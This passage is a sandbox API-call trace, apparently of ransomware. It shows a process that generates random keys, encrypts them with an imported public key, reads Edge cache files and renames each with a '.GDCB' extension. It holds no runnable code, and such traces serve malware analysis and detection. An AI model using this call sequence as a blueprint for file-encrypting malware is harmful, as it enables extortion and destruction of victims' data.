out: phKey=0x285ca98*=0x67a7e30) returned 1 [0284.619] CryptGetKeyParam (in: hKey=0x67a7e30, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0284.619] CryptEncrypt (in: hKey=0x67a7e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xd0b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0284.619] GetLastError () returned 0x0 [0284.619] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0284.619] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\41795194[1].css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\41795194[1].css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0284.621] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd0c0000 [0284.624] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd0d0000 [0284.627] ReadFile (in: hFile=0x424, lpBuffer=0xd0d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285cc50, lpOverlapped=0x0 | out: lpBuffer=0xd0d0000*, lpNumberOfBytesRead=0x285cc50*=0x19d6, lpOverlapped=0x0) returned 1 [0284.637] VirtualAlloc (lpAddress=0x0, dwSize=0x19e0, flAllocationType=0x3000, flProtect=0x4) returned 0xd1e0000 [0284.643] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\41795194[1].css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\41795194[1].css"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\41795194[1].css.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\41795194[1].css.gdcb")) returned 0 [0284.646] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0284.649] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0284.651] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0284.651] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0284.651] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0284.651] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0284.654] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0284.656] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0284.656] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0284.656] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0284.657] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0284.675] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67a7930) returned 1 [0284.675] CryptGetKeyParam (in: hKey=0x67a7930, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0284.675] CryptEncrypt (in: hKey=0x67a7930, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xd0a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0284.676] GetLastError () returned 0x0 [0284.676] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0284.676] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0284.678] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67a79b0) returned 1 [0284.678] CryptGetKeyParam (in: hKey=0x67a79b0, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0284.678] CryptEncrypt (in: hKey=0x67a79b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xd0b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0284.678] GetLastError () returned 0x0 [0284.678] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0284.678] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\9101d3f2[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\9101d3f2[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0284.680] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd0c0000 [0284.683] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd0d0000 [0284.686] ReadFile (in: hFile=0x424, lpBuffer=0xd0d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285cc50, lpOverlapped=0x0 | out: lpBuffer=0xd0d0000*, lpNumberOfBytesRead=0x285cc50*=0x48d2, lpOverlapped=0x0) returned 1 [0284.735] VirtualAlloc (lpAddress=0x0, dwSize=0x48e0, flAllocationType=0x3000, flProtect=0x4) returned 0xd1e0000 [0284.742] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\9101d3f2[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\9101d3f2[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\9101d3f2[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\9101d3f2[1].js.gdcb")) returned 0 [0284.745] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0284.748] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0284.750] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0284.750] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0284.750] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0284.750] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0284.754] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0284.756] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0284.756] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0284.756] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0284.757] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0284.759] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67a7c30) returned 1 [0284.759] CryptGetKeyParam (in: hKey=0x67a7c30, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0284.759] CryptEncrypt (in: hKey=0x67a7c30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xd0a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0284.759] GetLastError () returned 0x0 [0284.759] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0284.760] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0284.762] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67a8070) returned 1 [0284.762] CryptGetKeyParam (in: hKey=0x67a8070, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0284.762] CryptEncrypt (in: hKey=0x67a8070, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xd0b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0284.762] GetLastError () returned 0x0 [0284.762] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0284.762] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\d11fd6a0[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\d11fd6a0[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0284.763] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd0c0000 [0284.767] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd0d0000 [0284.772] ReadFile (in: hFile=0x424, lpBuffer=0xd0d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285cc50, lpOverlapped=0x0 | out: lpBuffer=0xd0d0000*, lpNumberOfBytesRead=0x285cc50*=0x59e2, lpOverlapped=0x0) returned 1 [0284.792] VirtualAlloc (lpAddress=0x0, dwSize=0x59f0, flAllocationType=0x3000, flProtect=0x4) returned 0xd1e0000 [0284.799] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\d11fd6a0[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\d11fd6a0[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\d11fd6a0[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\d11fd6a0[1].js.gdcb")) returned 0 [0284.804] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0284.808] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0284.810] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0284.810] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0284.810] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0284.810] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0284.813] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0284.815] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0284.816] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0284.816] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0284.816] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0284.819] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67a7eb0) returned 1 [0284.819] CryptGetKeyParam (in: hKey=0x67a7eb0, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0284.819] CryptEncrypt (in: hKey=0x67a7eb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xd0a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0284.819] GetLastError () returned 0x0 [0284.819] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0284.819] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0284.821] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67a7b30) returned 1 [0284.821] CryptGetKeyParam (in: hKey=0x67a7b30, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0284.821] CryptEncrypt (in: hKey=0x67a7b30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xd0b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0284.821] GetLastError () returned 0x0 [0284.821] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0284.821] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\f544a93b[1].css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\f544a93b[1].css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0284.822] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd0c0000 [0284.825] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd0d0000 [0284.828] ReadFile (in: hFile=0x424, lpBuffer=0xd0d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285cc50, lpOverlapped=0x0 | out: lpBuffer=0xd0d0000*, lpNumberOfBytesRead=0x285cc50*=0x592, lpOverlapped=0x0) returned 1 [0284.860] VirtualAlloc (lpAddress=0x0, dwSize=0x5a0, flAllocationType=0x3000, flProtect=0x4) returned 0xd1e0000 [0284.866] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\f544a93b[1].css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\f544a93b[1].css"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\f544a93b[1].css.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\f544a93b[1].css.gdcb")) returned 0 [0284.869] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0284.872] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0284.874] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0284.874] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0284.874] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0284.874] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0284.877] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0284.879] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0284.880] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0284.880] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0284.880] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0284.882] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67a7db0) returned 1 [0284.882] CryptGetKeyParam (in: hKey=0x67a7db0, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0284.882] CryptEncrypt (in: hKey=0x67a7db0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xd0a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0284.883] GetLastError () returned 0x0 [0284.883] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0284.883] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0284.884] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67a7bb0) returned 1 [0284.885] CryptGetKeyParam (in: hKey=0x67a7bb0, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0284.885] CryptEncrypt (in: hKey=0x67a7bb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xd0b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0284.885] GetLastError () returned 0x0 [0284.885] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0284.885] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\f682f456[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\f682f456[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0284.886] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd0c0000 [0284.889] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd0d0000 [0284.892] ReadFile (in: hFile=0x424, lpBuffer=0xd0d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285cc50, lpOverlapped=0x0 | out: lpBuffer=0xd0d0000*, lpNumberOfBytesRead=0x285cc50*=0x10f47, lpOverlapped=0x0) returned 1 [0284.960] VirtualAlloc (lpAddress=0x0, dwSize=0x10f50, flAllocationType=0x3000, flProtect=0x4) returned 0xd1e0000 [0284.968] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\f682f456[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\f682f456[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\f682f456[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\f682f456[1].js.gdcb")) returned 0 [0284.971] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0284.976] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0284.978] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0284.978] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0284.978] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0284.978] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0284.982] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0284.985] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0284.985] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0284.985] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0284.985] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0284.988] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, 